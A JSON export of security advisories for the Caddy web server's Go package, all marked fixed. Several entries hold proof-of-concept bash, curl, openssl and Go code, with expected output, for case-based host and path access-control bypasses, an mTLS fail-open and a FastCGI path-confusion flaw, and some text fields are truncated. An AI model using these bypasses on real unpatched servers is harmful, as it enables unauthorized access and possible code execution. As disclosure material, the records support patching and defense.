{"ecosystem":"go","package":"github.com/caddyserver/caddy/v2","version":null,"bugs":[{"id":4654,"ecosystem":"go","package_name":"github.com/caddyserver/caddy/v2","affected_version":null,"fixed_version":"2.11.1","bug_id":"osv:GHSA-x76f-jf84-rqj8","title":"Caddy: MatchHost becomes case-sensitive for large host lists (>100), enabling host-based route/auth bypass","description":"### Summary\nCaddy's HTTP `host` request matcher is documented as case-insensitive, but when configured with a large host list (>100 entries) it becomes case-sensitive due to an optimized matching path. An attacker can bypass host-based routing and any access controls attached to that route by changing the casing of the `Host` header.\n\n### Details\nIn Caddy `v2.10.2`, the `MatchHost` matcher states it matches the Host value case-insensitively:\n\n- `modules/caddyhttp/matchers.go`: `type MatchHost matches requests by the Host value (case-insensitive).`\n\nHowever, in `MatchHost.MatchWithError`, when the host list is considered \"large\" (`len(m) > 100`):\n\n- `MatchHost.large()` returns true for `len(m) > 100` (`modules/caddyhttp/matchers.go`, around the `large()` helper).\n- The matcher takes a \"fast path\" using binary search over the sorted host list, and checks for an exact match using a case-sensitive string comparison (`m[pos] == reqHost`).\n- After the fast path fails, the fallback loop short-circuits for large lists by breaking as soon as it reaches the first non-fuzzy entry. For configs comprised of exact hostnames only (no wildcards/placeholders), this prevents the `strings.EqualFold(reqHost, host)` check from ever running.\n\nNet effect: with a host list length of 101 or more, changing only the casing of the incoming `Host` header can cause the `host` matcher to not match when it should.\n\n#### Suggested fix\n- Normalize exact hostnames to lower-case during `MatchHost.Provision` (at least for non-fuzzy entries).\n- Normalize the incoming request host (`reqHost`) to lower-case before the large-list binary search + equality check, so the optimized path stays case-insensitive.\n\nReproduced on:\n- Stable release: `v2.10.2` -- this is the release I reference in the repro below.\n- Dev build: `v2.11.0-beta.2`.\n- Master tip: commit `58968b3fd38cacbf4b5e07cc8c8be27696dce60f`.\n\n### PoC\nPrereqs:\n- bash, curl\n- A pre-built Caddy binary available at `/opt/caddy-2.10.2/caddy` (edit `CADDY_BIN` in the script if needed)\n\n<details>\n<summary>Script (Click to expand)</summary>\n\n```bash\n#!/usr/bin/env bash\nset -euo pipefail\n\nCADDY_BIN=\"/opt/caddy-2.10.2/caddy\"\nHOST=\"127.0.0.1\"\nPORT=\"8080\"\n\nTMPDIR=\"$(mktemp -d)\"\nCADDYFILE=\"${TMPDIR}/Caddyfile\"\nLOG=\"${TMPDIR}/caddy.log\"\n\ncleanup() {\n  if [ -n \"${CADDY_PID:-}\" ] && kill -0 \"${CADDY_PID}\" 2>/dev/null; then\n    kill \"${CADDY_PID}\" 2>/dev/null || true\n    wait \"${CADDY_PID}\" 2>/dev/null || true\n  fi\n  rm -rf \"${TMPDIR}\" 2>/dev/null || true\n}\ntrap cleanup EXIT\n\nif [ ! -x \"${CADDY_BIN}\" ]; then\n  echo \"error: missing caddy binary at ${CADDY_BIN}\" >&2\n  exit 2\nfi\n\necho \"== Caddy version ==\"\n\"${CADDY_BIN}\" version\n\ncat >\"${CADDYFILE}\" <<EOF\n{\n    debug\n}\n\n:${PORT} {\n    log\n    @protected {\n        host h001.test h002.test h003.test h004.test h005.test h006.test h007.test h008.test h009.test h010.test h011.test h012.test h013.test h014.test h015.test h016.test h017.test h018.test h019.test h020.test h021.test h022.test h023.test h024.test h025.test h026.test h027.test h028.test h029.test h030.test h031.test h032.test h033.test h034.test h035.test h036.test h037.test h038.test h039.test h040.test h041.test h042.test h043.test h044.test h045.test h046.test h047.test h048.test h049.test h050.test h051.test h052.test h053.test h054.test h055.test h056.test h057.test h058.test h059.test h060.test h061.test h062.test h063.test h064.test h065.test h066.test h067.test h068.test h069.test h070.test h071.test h072.test h073.test h074.test h075.test h076.test h077.test h078.test h079.test h080.test h081.test h082.test h083.test h084.test h085.test h086.test h087.test h088.test h089.test h090.test h091.test h092.test h093.test h094.test h095.test h096.test h097.test h098.test h099.test h100.test h101.test\n        path /admin\n    }\n    respond @protected \"DENY\" 403\n    respond \"ALLOW\" 200\n}\nEOF\n\necho\necho \"== Caddyfile ==\"\ncat \"${CADDYFILE}\"\n\necho\necho \"== Start Caddy (debug + capture logs) ==\"\necho \"cmd: ${CADDY_BIN} run --config ${CADDYFILE} --adapter caddyfile\"\n\"${CADDY_BIN}\" run --config \"${CADDYFILE}\" --adapter caddyfile >\"${LOG}\" 2>&1 &\nCADDY_PID=\"$!\"\n\nsleep 2\n\necho\necho \"== Request 1 (baseline - expect deny) ==\"\necho \"cmd: curl -v -H 'Host: h050.test' http://${HOST}:${PORT}/admin\"\ncurl -v -H \"Host: h050.test\" \"http://${HOST}:${PORT}/admin\" 2>&1 || true\n\necho\necho \"== Request 2 (BYPASS - expect allow) ==\"\necho \"cmd: curl -v -H 'Host: H050.TEST' http://${HOST}:${PORT}/admin\"\ncurl -v -H \"Host: H050.TEST\" \"http://${HOST}:${PORT}/admin\" 2>&1 || true\n\necho\necho \"== Stop Caddy ==\"\nkill \"${CADDY_PID}\" 2>/dev/null || true\nwait \"${CADDY_PID}\" 2>/dev/null || true\n\necho\necho \"== Full Caddy debug log ==\"\ncat \"${LOG}\"\n\n```\n</details>\n\n<details>\n<summary>Expected output (Click to expand)</summary>\n\n```bash\n== Caddy version ==\nv2.10.2 h1:g/gTYjGMD0dec+UgMw8SnfmJ3I9+M2TdvoRL/Ovu6U8=\n\n== Caddyfile ==\n{\n    debug\n}\n\n:8080 {\n    log\n    @protected {\n        host h001.test h002.test h003.test h004.test h005.test h006.test h007.test h008.test h009.test h010.test h011.test h012.test h013.test h014.test h015.test h016.test h017.test h018.test h019.test h020.test h021.test h022.test h023.test h024.test h025.test h026.test h027.test h028.test h029.test h030.test h031.test h032.test h033.test h034.test h035.test h036.test h037.test h038.test h039.test h040.test h041.test h042.test h043.test h044.test h045.test h046.test h047.test h048.test h049.test h050.test h051.test h052.test h053.test h054.test h055.test h056.test h057.test h058.test h059.test h060.test h061.test h062.test h063.test h064.test h065.test h066.test h067.test h068.test h069.test h070.test h071.test h072.test h073.test h074.test h075.test h076.test h077.test h078.test h079.test h080.test h081.test h082.test h083.test h084.test h085.test h086.test h087.test h088.test h089.test h090.test h091.test h092.test h093.test h094.test h095.test h096.test h097.test h098.test h099.test h100.test h101.test\n        path /admin\n    }\n    respond @protected \"DENY\" 403\n    respond \"ALLOW\" 200\n}\n\n== Start Caddy (debug + capture logs) ==\ncmd: /opt/caddy-2.10.2/caddy run --config /tmp/tmp.3BN6rgj9yF/Caddyfile --adapter caddyfile\n\n== Request 1 (baseline - expect deny) ==\ncmd: curl -v -H 'Host: h050.test' http://127.0.0.1:8080/admin\n*   Trying 127.0.0.1:8080...\n* Connected to 127.0.0.1 (127.0.0.1) port 8080\n* using HTTP/1.x\n> GET /admin HTTP/1.1\n> Host: h050.test\n> User-Agent: curl/8.15.0\n> Accept: */*\n>\n* Request completely sent off\n< HTTP/1.1 403 Forbidden\n< Content-Type: text/plain; charset=utf-8\n< Server: Caddy\n< Date: Sun, 08 Feb 2026 22:09:09 GMT\n< Content-Length: 4\n<\n* Connection #0 to host 127.0.0.1 left intact\nDENY\n== Request 2 (BYPASS - expect allow) ==\ncmd: curl -v -H 'Host: H050.TEST' http://127.0.0.1:8080/admin\n*   Trying 127.0.0.1:8080...\n* Connected to 127.0.0.1 (127.0.0.1) port 8080\n* using HTTP/1.x\n> GET /admin HTTP/1.1\n> Host: H050.TEST\n> User-Agent: curl/8.15.0\n> Accept: */*\n>\n< HTTP/1.1 200 OK\n< Content-Type: text/plain; charset=utf-8\n< Server: Caddy\n< Date: Sun, 08 Feb 2026 22:09:09 GMT\n< Content-Length: 5\n<\n* Connection #0 to host 127.0.0.1 left intact\nALLOW\n== Stop Caddy ==\n\n== Full Caddy debug log ==\n{\"level\":\"info\",\"ts\":1770588548.012352,\"msg\":\"maxprocs: Leaving GOMAXPROCS=4: CPU quota undefined\"}\n{\"level\":\"info\",\"ts\":1770588548.0125406,\"msg\":\"GOMEMLIMIT is updated\",\"package\":\"github.com/KimMachineGun/automemlimit/memlimit\",\"GOMEMLIMIT\":1844136345,\"previous\":9223372036854775807}\n{\"level\":\"info\",\"ts\":1770588548.0125597,\"msg\":\"using config from file\",\"file\":\"/tmp/tmp.3BN6rgj9yF/Caddyfile\"}\n{\"level\":\"info\",\"ts\":1770588548.0131946,\"msg\":\"adapted config to JSON\",\"adapter\":\"caddyfile\"}\n{\"level\":\"warn\",\"ts\":1770588548.013202,\"msg\":\"Caddyfile input is not formatted; run 'caddy fmt --overwrite' to fix inconsistencies\",\"adapter\":\"caddyfile\",\"file\":\"/tmp/tmp.3BN6rgj9yF/Caddyfile\",\"line\":2}\n{\"level\":\"info\",\"ts\":1770588548.0139973,\"logger\":\"admin\",\"msg\":\"admin endpoint started\",\"address\":\"localhost:2019\",\"enforce_","severity":"high","status":"fixed","source":"osv","source_url":"https://github.com/caddyserver/caddy/security/advisories/GHSA-x76f-jf84-rqj8","labels":["CVE-2026-27588","GO-2026-4541"],"created_at":"2026-04-26 03:01:34.277836+00:00","updated_at":"2026-04-26 03:01:34.277836+00:00"},{"id":4652,"ecosystem":"go","package_name":"github.com/caddyserver/caddy/v2","affected_version":null,"fixed_version":"2.11.1","bug_id":"osv:GHSA-hffm-g8v7-wrv7","title":"Caddy: mTLS client authentication silently fails open when CA certificate file is missing or malformed","description":"### Summary\n\nTwo swallowed errors in `ClientAuthentication.provision()` cause mTLS client certificate authentication to silently fail open when a CA certificate file is missing, unreadable, or malformed. The server starts without error but accepts any client certificate signed by any system-trusted CA, completely bypassing the intended private CA trust boundary.\n\n### Details\n\nIn `modules/caddytls/connpolicy.go`, the `provision()` method has two `return nil` statements that should be `return err`:\n\n**Bug #1 — line 787:**\n```go\nders, err := convertPEMFilesToDER(fpath)\nif err != nil {\n    return nil  // BUG: should be \"return err\"\n}\n```\n\n**Bug #2 — line 800:**\n```go\nerr := caPool.Provision(ctx)\nif err != nil {\n    return nil  // BUG: should be \"return err\"\n}\n```\n\nCompare with line 811 which correctly returns the error:\n```go\ncaRaw, err := ctx.LoadModule(clientauth, \"CARaw\")\nif err != nil {\n    return err  // CORRECT\n}\n```\n\nWhen the error is swallowed on line 787, the chain is:\n\n1. `TrustedCACerts` remains empty (no DER data appended from the file)\n2. The `len(clientauth.TrustedCACerts) > 0` guard on line 794 is false — skipped\n3. `clientauth.CARaw` is nil — line 806 returns nil\n4. `clientauth.ca` remains nil — no CA pool was created\n5. `provision()` returns nil — caller thinks provisioning succeeded\n\nThen in `ConfigureTLSConfig()`:\n\n6. `Active()` returns true because `TrustedCACertPEMFiles` is non-empty\n7. Default mode is set to `RequireAndVerifyClientCert` (line 860)\n8. But `clientauth.ca` is nil, so `cfg.ClientCAs` is never set (line 867 skipped)\n9. Go's `crypto/tls` with `RequireAndVerifyClientCert` + nil `ClientCAs` verifies client certs against the **system root pool** instead of the intended CA\n\nThe fix is changing `return nil` to `return err` on lines 787 and 800.\n\n### PoC\n\n1. Configure Caddy with mTLS pointing to a nonexistent CA file:\n\n```\n{\n    \"apps\": {\n        \"http\": {\n            \"servers\": {\n                \"srv0\": {\n                    \"listen\": [\":443\"],\n                    \"tls_connection_policies\": [{\n                        \"client_authentication\": {\n                            \"trusted_ca_certs_pem_files\": [\"/nonexistent/ca.pem\"]\n                        }\n                    }]\n                }\n            }\n        }\n    }\n}\n```\n\n2. Start Caddy — it starts without any error or warning.\n\n3. Connect with any client certificate (even self-signed):\n```bash\nopenssl s_client -connect localhost:443 -cert client.pem -key client-key.pem\n```\n\n4. The TLS handshake succeeds despite the certificate not being signed by the intended CA.\n\nA full Go test that proves the bug end-to-end (including a successful TLS handshake with a random self-signed client cert) is here: https://gist.github.com/moscowchill/9566c79c76c0b64c57f8bd0716f97c48\n\nTest output:\n```\n=== RUN   TestSwallowedErrorMTLSFailOpen\n    BUG CONFIRMED: provision() swallowed the error from a nonexistent CA file.\n    tls.Config has RequireAndVerifyClientCert but ClientCAs is nil.\n    CRITICAL: TLS handshake succeeded with a self-signed client cert!\n    The server accepted a client certificate NOT signed by the intended CA.\n--- PASS: TestSwallowedErrorMTLSFailOpen (0.03s)\n```\n\n### Impact\n\nAny deployment using `trusted_ca_cert_file` or `trusted_ca_certs_pem_files` for mTLS will silently degrade to accepting any system-trusted client certificate if the CA file becomes unavailable. This can happen due to a typo in the path, file rotation, corruption, or permission changes. The server gives no indication that mTLS is misconfigured.","severity":"high","status":"fixed","source":"osv","source_url":"https://github.com/caddyserver/caddy/security/advisories/GHSA-hffm-g8v7-wrv7","labels":["CVE-2026-27586","GO-2026-4539"],"created_at":"2026-04-26 03:01:34.272572+00:00","updated_at":"2026-04-26 03:01:34.272572+00:00"},{"id":4651,"ecosystem":"go","package_name":"github.com/caddyserver/caddy/v2","affected_version":null,"fixed_version":"2.11.1","bug_id":"osv:GHSA-g7pc-pc7g-h8jh","title":"Caddy: MatchPath %xx (escaped-path) branch skips case normalization, enabling path-based route/auth bypass","description":"### Summary\nCaddy's HTTP `path` request matcher is intended to be case-insensitive, but when the match pattern contains percent-escape sequences (`%xx`) it compares against the request's escaped path without lowercasing. An attacker can bypass path-based routing and any access controls attached to that route by changing the casing of the request path.\n\n### Details\nIn Caddy `v2.10.2`, `MatchPath` is explicitly designed to be case-insensitive and lowercases match patterns during provisioning:\n\n- `modules/caddyhttp/matchers.go`: rationale captured in the `MatchPath` comment.\n- `MatchPath.Provision` lowercases configured patterns via `strings.ToLower`.\n- `MatchPath.MatchWithError` lowercases the request path for the normal matching path: `reqPath := strings.ToLower(r.URL.Path)`.\n\nBut when a match pattern contains a percent sign (`%`), `MatchPath.MatchWithError` switches to \"escaped space\" matching and builds the comparison string from `r.URL.EscapedPath()`:\n\n- `reqPathForPattern := CleanPath(r.URL.EscapedPath(), mergeSlashes)`\n- If it doesn't match, it `continue`s (skipping the remaining matching logic for that pattern).\n\nBecause `r.URL.EscapedPath()` is not lowercased, case differences in the request path can cause the escaped-space match to fail even though `MatchPath` is meant to be case-insensitive. For example, with a pattern of `/admin%2Fpanel`:\n\n- Requesting `/admin%2Fpanel` matches and can be denied as intended.\n- Requesting `/ADMIN%2Fpanel` does not match and falls through to other routes/handlers.\n\n#### Suggested fix\n- In the `%`-pattern matching path, ensure the effective string passed to `path.Match` is lowercased (same as the normal branch).\n  - Simplest seems to lowercase the constructed string in `matchPatternWithEscapeSequence` right before `path.Match`.\n\nReproduced on:\n- Stable release: `v2.10.2` -- this is the release referenced in the reproduction below.\n- Dev build: `v2.11.0-beta.2`.\n- Master tip: commit `58968b3fd38cacbf4b5e07cc8c8be27696dce60f`.\n\n### PoC\nPrereqs:\n- bash, curl\n- A pre-built Caddy binary available at `/opt/caddy-2.10.2/caddy` (edit `CADDY_BIN` in the script if needed)\n\n\n<details>\n<summary>Script (Click to expand)</summary>\n\n```bash\n#!/usr/bin/env bash\nset -euo pipefail\n\nCADDY_BIN=\"/opt/caddy-2.10.2/caddy\"\nHOST=\"127.0.0.1\"\nPORT=\"8080\"\n\nTMPDIR=\"$(mktemp -d)\"\nCADDYFILE=\"${TMPDIR}/Caddyfile\"\nLOG=\"${TMPDIR}/caddy.log\"\n\ncleanup() {\n  if [ -n \"${CADDY_PID:-}\" ] && kill -0 \"${CADDY_PID}\" 2>/dev/null; then\n    kill \"${CADDY_PID}\" 2>/dev/null || true\n    wait \"${CADDY_PID}\" 2>/dev/null || true\n  fi\n  rm -rf \"${TMPDIR}\" 2>/dev/null || true\n}\ntrap cleanup EXIT\n\nif [ ! -x \"${CADDY_BIN}\" ]; then\n  echo \"error: missing caddy binary at ${CADDY_BIN}\" >&2\n  exit 2\nfi\n\necho \"== Caddy version ==\"\n\"${CADDY_BIN}\" version\n\ncat >\"${CADDYFILE}\" <<EOF\n{\n    debug\n}\n\n:${PORT} {\n    log\n    @block {\n        path /admin%2Fpanel\n    }\n    respond @block \"DENY\" 403\n    respond \"ALLOW\" 200\n}\nEOF\n\necho\necho \"== Caddyfile ==\"\ncat \"${CADDYFILE}\"\n\necho\necho \"== Start Caddy (debug + capture logs) ==\"\necho \"cmd: ${CADDY_BIN} run --config ${CADDYFILE} --adapter caddyfile\"\n\"${CADDY_BIN}\" run --config \"${CADDYFILE}\" --adapter caddyfile >\"${LOG}\" 2>&1 &\nCADDY_PID=\"$!\"\n\nsleep 2\n\necho\necho \"== Request 1 (baseline - expect deny) ==\"\necho \"cmd: curl -v -H 'Host: example.test' http://${HOST}:${PORT}/admin%2Fpanel\"\ncurl -v -H \"Host: example.test\" \"http://${HOST}:${PORT}/admin%2Fpanel\" 2>&1 || true\n\necho\necho \"== Request 2 (BYPASS - expect allow) ==\"\necho \"cmd: curl -v -H 'Host: example.test' http://${HOST}:${PORT}/ADMIN%2Fpanel\"\ncurl -v -H \"Host: example.test\" \"http://${HOST}:${PORT}/ADMIN%2Fpanel\" 2>&1 || true\n\necho\necho \"== Stop Caddy ==\"\nkill \"${CADDY_PID}\" 2>/dev/null || true\nwait \"${CADDY_PID}\" 2>/dev/null || true\n\necho\necho \"== Full Caddy debug log ==\"\ncat \"${LOG}\"\n```\n</details>\n\n<details>\n<summary>Expected output (Click to expand)</summary>\n\n```bash\n== Caddy version ==\nv2.10.2 h1:g/gTYjGMD0dec+UgMw8SnfmJ3I9+M2TdvoRL/Ovu6U8=\n\n== Caddyfile ==\n{\n    debug\n}\n\n:8080 {\n    log\n    @block {\n        path /admin%2Fpanel\n    }\n    respond @block \"DENY\" 403\n    respond \"ALLOW\" 200\n}\n\n== Start Caddy (debug + capture logs) ==\ncmd: /opt/caddy-2.10.2/caddy run --config /tmp/tmp.GXiRbxOnBN/Caddyfile --adapter caddyfile\n\n== Request 1 (baseline - expect deny) ==\ncmd: curl -v -H 'Host: example.test' http://127.0.0.1:8080/admin%2Fpanel\n*   Trying 127.0.0.1:8080...\n* Connected to 127.0.0.1 (127.0.0.1) port 8080\n* using HTTP/1.x\n> GET /admin%2Fpanel HTTP/1.1\n> Host: example.test\n> User-Agent: curl/8.15.0\n> Accept: */*\n>\n* Request completely sent off\n< HTTP/1.1 403 Forbidden\n< Content-Type: text/plain; charset=utf-8\n< Server: Caddy\n< Date: Sun, 08 Feb 2026 22:19:20 GMT\n< Content-Length: 4\n<\n* Connection #0 to host 127.0.0.1 left intact\nDENY\n== Request 2 (BYPASS - expect allow) ==\ncmd: curl -v -H 'Host: example.test' http://127.0.0.1:8080/ADMIN%2Fpanel\n*   Trying 127.0.0.1:8080...\n* Connected to 127.0.0.1 (127.0.0.1) port 8080\n* using HTTP/1.x\n> GET /ADMIN%2Fpanel HTTP/1.1\n> Host: example.test\n> User-Agent: curl/8.15.0\n> Accept: */*\n>\n* Request completely sent off\n< HTTP/1.1 200 OK\n< Content-Type: text/plain; charset=utf-8\n< Server: Caddy\n< Date: Sun, 08 Feb 2026 22:19:20 GMT\n< Content-Length: 5\n<\n* Connection #0 to host 127.0.0.1 left intact\nALLOW\n== Stop Caddy ==\n\n== Full Caddy debug log ==\n{\"level\":\"info\",\"ts\":1770589158.3687892,\"msg\":\"maxprocs: Leaving GOMAXPROCS=4: CPU quota undefined\"}\n{\"level\":\"info\",\"ts\":1770589158.3690693,\"msg\":\"GOMEMLIMIT is updated\",\"package\":\"github.com/KimMachineGun/automemlimit/memlimit\",\"GOMEMLIMIT\":1844136345,\"previous\":9223372036854775807}\n{\"level\":\"info\",\"ts\":1770589158.369109,\"msg\":\"using config from file\",\"file\":\"/tmp/tmp.GXiRbxOnBN/Caddyfile\"}\n{\"level\":\"info\",\"ts\":1770589158.3704133,\"msg\":\"adapted config to JSON\",\"adapter\":\"caddyfile\"}\n{\"level\":\"warn\",\"ts\":1770589158.370424,\"msg\":\"Caddyfile input is not formatted; run 'caddy fmt --overwrite' to fix inconsistencies\",\"adapter\":\"caddyfile\",\"file\":\"/tmp/tmp.GXiRbxOnBN/Caddyfile\",\"line\":2}\n{\"level\":\"info\",\"ts\":1770589158.3715324,\"logger\":\"admin\",\"msg\":\"admin endpoint started\",\"address\":\"localhost:2019\",\"enforce_origin\":false,\"origins\":[\"//localhost:2019\",\"//[::1]:2019\",\"//127.0.0.1:2019\"]}\n{\"level\":\"debug\",\"ts\":1770589158.3716462,\"logger\":\"http.auto_https\",\"msg\":\"adjusted config\",\"tls\":{\"automation\":{\"policies\":[{}]}},\"http\":{\"servers\":{\"srv0\":{\"listen\":[\":8080\"],\"routes\":[{\"handle\":[{\"body\":\"DENY\",\"handler\":\"static_response\",\"status_code\":403}]},{\"handle\":[{\"body\":\"ALLOW\",\"handler\":\"static_response\",\"status_code\":200}]}],\"automatic_https\":{},\"logs\":{}}}}}\n{\"level\":\"debug\",\"ts\":1770589158.3718414,\"logger\":\"http\",\"msg\":\"starting server loop\",\"address\":\"[::]:8080\",\"tls\":false,\"http3\":false}\n{\"level\":\"warn\",\"ts\":1770589158.371858,\"logger\":\"http\",\"msg\":\"HTTP/2 skipped because it requires TLS\",\"network\":\"tcp\",\"addr\":\":8080\"}\n{\"level\":\"warn\",\"ts\":1770589158.3718607,\"logger\":\"http\",\"msg\":\"HTTP/3 skipped because it requires TLS\",\"network\":\"tcp\",\"addr\":\":8080\"}\n{\"level\":\"info\",\"ts\":1770589158.3718636,\"logger\":\"http.log\",\"msg\":\"server running\",\"name\":\"srv0\",\"protocols\":[\"h1\",\"h2\",\"h3\"]}\n{\"level\":\"debug\",\"ts\":1770589158.3718896,\"logger\":\"events\",\"msg\":\"event\",\"name\":\"started\",\"id\":\"6bb8b6fe-4980-4a48-9f7e-2146ecd48ce6\",\"origin\":\"\",\"data\":null}\n{\"level\":\"info\",\"ts\":1770589158.3720388,\"msg\":\"autosaved config (load with --resume flag)\",\"file\":\"/home/vh/.config/caddy/autosave.json\"}\n{\"level\":\"info\",\"ts\":1770589158.3720443,\"msg\":\"serving initial configuration\"}\n{\"level\":\"info\",\"ts\":1770589158.372355,\"logger\":\"tls.cache.maintenance\",\"msg\":\"started background certificate maintenance\",\"cache\":\"0xc00064d180\"}\n{\"level\":\"info\",\"ts\":1770589158.3855736,\"logger\":\"tls\",\"msg\":\"storage cleaning happened too recently; skipping for now\",\"storage\":\"FileStorage:/home/vh/.local/share/caddy\",\"instance\":\"a259f82d-3c7c-4706-9ca8-17456b4af729\",\"try_again\":1770675558.3855705,\"try_again_in\":86399.999999388}\n{\"level\":\"info\",\"ts\":177058","severity":"high","status":"fixed","source":"osv","source_url":"https://github.com/caddyserver/caddy/security/advisories/GHSA-g7pc-pc7g-h8jh","labels":["CVE-2026-27587","GO-2026-4538"],"created_at":"2026-04-26 03:01:34.269761+00:00","updated_at":"2026-04-26 03:01:34.269761+00:00"},{"id":4649,"ecosystem":"go","package_name":"github.com/caddyserver/caddy/v2","affected_version":null,"fixed_version":"2.11.1","bug_id":"osv:GHSA-5r3v-vc8m-m96g","title":"Caddy: Unicode case-folding length expansion causes incorrect split_path index in FastCGI transport","description":"### Summary\n\nCaddy's FastCGI path splitting logic computes the split index on a lowercased copy of the request path and then uses that byte index to slice the original path. This is unsafe for Unicode because `strings.ToLower()` can change UTF-8 byte length for some characters. As a result, Caddy can derive an incorrect `SCRIPT_NAME`/`SCRIPT_FILENAME` and `PATH_INFO`, potentially causing a request that contains `.php` to execute a different on-disk file than intended (path confusion). In setups where an attacker can control file contents (e.g., upload features), this can lead to unintended PHP execution of non-.php files (potential RCE depending on deployment).\n\n### Details\n\nThe issue is in `github.com/caddyserver/caddy/modules/caddyhttp/fastcgi.Trasnport.splitPos()` (and the subsequent slicing in `buildEnv()`):\n\n```\nlowerPath := strings.ToLower(path)\nidx := strings.Index(lowerPath, strings.ToLower(split))\nreturn idx + len(split)\n```\n\nThe returned index is computed in the byte space of lowerPath, but `buildEnv()` applies it to the original path:\n\n- `docURI = path[:splitPos]`\n- `pathInfo = path[splitPos:]`\n- `scriptName = strings.TrimSuffix(path, fc.pathInfo)`\n- `scriptFilename = caddyhttp.SanitizedPathJoin(fc.documentRoot, fc.scriptName)`\n\nThis assumes `lowerPath` and `path` have identical byte lengths and identical byte offsets, which is not true for some Unicode case mappings. Certain characters expand when lowercased (UTF-8 byte length increases), shifting the computed index. This creates a mismatch where `.php` is found in the lowercased string at an offset that does not correspond to the same position in the original string, causing the split point to land later/earlier than intended.\n\n### PoC\n\nCreate a small Go program that reproduces Caddy's `splitPos()` behavior (compute the `.php` split point on a lowercased path, then use that byte index on the original path):\n\n1. Save this as `poc.go`:\n\n```go\npackage main\n\nimport (\n\t\"fmt\"\n\t\"strings\"\n)\n\nfunc splitPos(path string, split string) int {\n\tlowerPath := strings.ToLower(path)\n\tidx := strings.Index(lowerPath, strings.ToLower(split))\n\tif idx < 0 {\n\t\treturn -1\n\t}\n\treturn idx + len(split)\n}\n\nfunc main() {\n\t// U+023A: Ⱥ (UTF-8: C8 BA). Lowercase is ⱥ (UTF-8: E2 B1 A5), longer in bytes.\n\tpath := \"/ȺȺȺȺshell.php.txt.php\"\n\tsplit := \".php\"\n\n\tpos := splitPos(path, split)\n\n\tfmt.Printf(\"orig bytes=%d\\n\", len(path))\n\tfmt.Printf(\"lower bytes=%d\\n\", len(strings.ToLower(path)))\n\tfmt.Printf(\"splitPos=%d\\n\", pos)\n\n\tfmt.Printf(\"orig[:pos]=%q\\n\", path[:pos])\n\tfmt.Printf(\"orig[pos:]=%q\\n\", path[pos:])\n\n\t// Expected split: right after the first \".php\" in the original string\n\twant := strings.Index(path, split) + len(split)\n\tfmt.Printf(\"expected splitPos=%d\\n\", want)\n\tfmt.Printf(\"expected orig[:]=%q\\n\", path[:want])\n}\n```\n\n2. Run it:\n\n```console\ngo run poc.go\n```\n\nOutput on my side:\n\n```\norig bytes=26\nlower bytes=30\nsplitPos=22\norig[:pos]=\"/ȺȺȺȺshell.php.txt\"\norig[pos:]=\".php\"\nexpected splitPos=18\nexpected orig[:]=\"/ȺȺȺȺshell.php\"\n```\n\nExpected split is right after the first `.php` (`/ȺȺȺȺshell.php`). Instead, the computed split lands later and cuts the original path after `shell.php.txt`, leaving `.php` as the remainder.\n\n### Impact\n\nSecurity boundary bypass/path confusion in script resolution.\nIn typical deployments, `.php` extension boundaries are relied on to decide what is executed by PHP. This bug can cause Caddy/FPM to execute a different file than intended by confusing `SCRIPT_NAME`/`SCRIPT_FILENAME`. If an attacker can place attacker-controlled content into a file that can be resolved as `SCRIPT_FILENAME` (common in web apps with uploads or writable directories), this can lead to unintended PHP execution of non-.php files and potentially remote code execution. Severity depends on deployment and presence of attacker-controlled file writes, but the primitive itself is remotely triggerable via crafted URLs.\n\nThis vulnerability was initially reported to FrankenPHP (https://github.com/php/frankenphp/security/advisories/GHSA-g966-83w7-6w38) by @AbdrrahimDahmani. The affected code has been copied/adapted from Caddy, which, according to research, is also affected.\n\nThe patch is a port of the FrankenPHP patch.","severity":"high","status":"fixed","source":"osv","source_url":"https://github.com/caddyserver/caddy/security/advisories/GHSA-5r3v-vc8m-m96g","labels":["CVE-2026-27590","GO-2026-4536"],"created_at":"2026-04-26 03:01:34.264375+00:00","updated_at":"2026-04-26 03:01:34.264375+00:00"},{"id":4663,"ecosystem":"go","package_name":"github.com/caddyserver/caddy/v2","affected_version":"2.7.5","fixed_version":"2.11.2","bug_id":"osv:GO-2026-4644","title":"Caddy's vars_regexp double-expands user input, leaking env vars and files in github.com/caddyserver/caddy","description":"Caddy's vars_regexp double-expands user input, leaking env vars and files in github.com/caddyserver/caddy","severity":"medium","status":"fixed","source":"osv","source_url":"https://github.com/caddyserver/caddy/security/advisories/GHSA-m2w3-8f23-hxxf","labels":["CVE-2026-30852","GHSA-m2w3-8f23-hxxf"],"created_at":"2026-04-26 03:01:34.306798+00:00","updated_at":"2026-04-26 03:01:34.306798+00:00"},{"id":4662,"ecosystem":"go","package_name":"github.com/caddyserver/caddy/v2","affected_version":"2.10.0","fixed_version":"2.11.2","bug_id":"osv:GO-2026-4639","title":"Caddy forward_auth copy_headers allows Identity Injection and Privilege Escalation in github.com/caddyserver/caddy","description":"Caddy forward_auth copy_headers Does Not Strip Client-Supplied Headers, Allowing Identity Injection and Privilege Escalation in github.com/caddyserver/caddy","severity":"medium","status":"fixed","source":"osv","source_url":"https://github.com/caddyserver/caddy/security/advisories/GHSA-7r4p-vjf4-gxv4","labels":["CVE-2026-30851","GHSA-7r4p-vjf4-gxv4"],"created_at":"2026-04-26 03:01:34.304211+00:00","updated_at":"2026-04-26 03:01:34.304211+00:00"},{"id":4661,"ecosystem":"go","package_name":"github.com/caddyserver/caddy/v2","affected_version":null,"fixed_version":"2.11.1","bug_id":"osv:GO-2026-4541","title":"Caddy MatchHost becomes case-sensitive in github.com/caddyserver/caddy/v2","description":"Caddy MatchHost becomes case-sensitive in github.com/caddyserver/caddy/v2","severity":"medium","status":"fixed","source":"osv","source_url":"https://github.com/caddyserver/caddy/security/advisories/GHSA-x76f-jf84-rqj8","labels":["CVE-2026-27588","GHSA-x76f-jf84-rqj8"],"created_at":"2026-04-26 03:01:34.301667+00:00","updated_at":"2026-04-26 03:01:34.301667+00:00"},{"id":4660,"ecosystem":"go","package_name":"github.com/caddyserver/caddy/v2","affected_version":null,"fixed_version":"2.11.1","bug_id":"osv:GO-2026-4539","title":"Caddy mTLS authentication fails open in github.com/caddyserver/caddy/v2","description":"Caddy mTLS authentication fails open in github.com/caddyserver/caddy/v2","severity":"medium","status":"fixed","source":"osv","source_url":"https://github.com/caddyserver/caddy/security/advisories/GHSA-hffm-g8v7-wrv7","labels":["CVE-2026-27586","GHSA-hffm-g8v7-wrv7"],"created_at":"2026-04-26 03:01:34.299058+00:00","updated_at":"2026-04-26 03:01:34.299058+00:00"},{"id":4659,"ecosystem":"go","package_name":"github.com/caddyserver/caddy/v2","affected_version":null,"fixed_version":"2.11.1","bug_id":"osv:GO-2026-4538","title":"Caddy MatchPath %xx branch 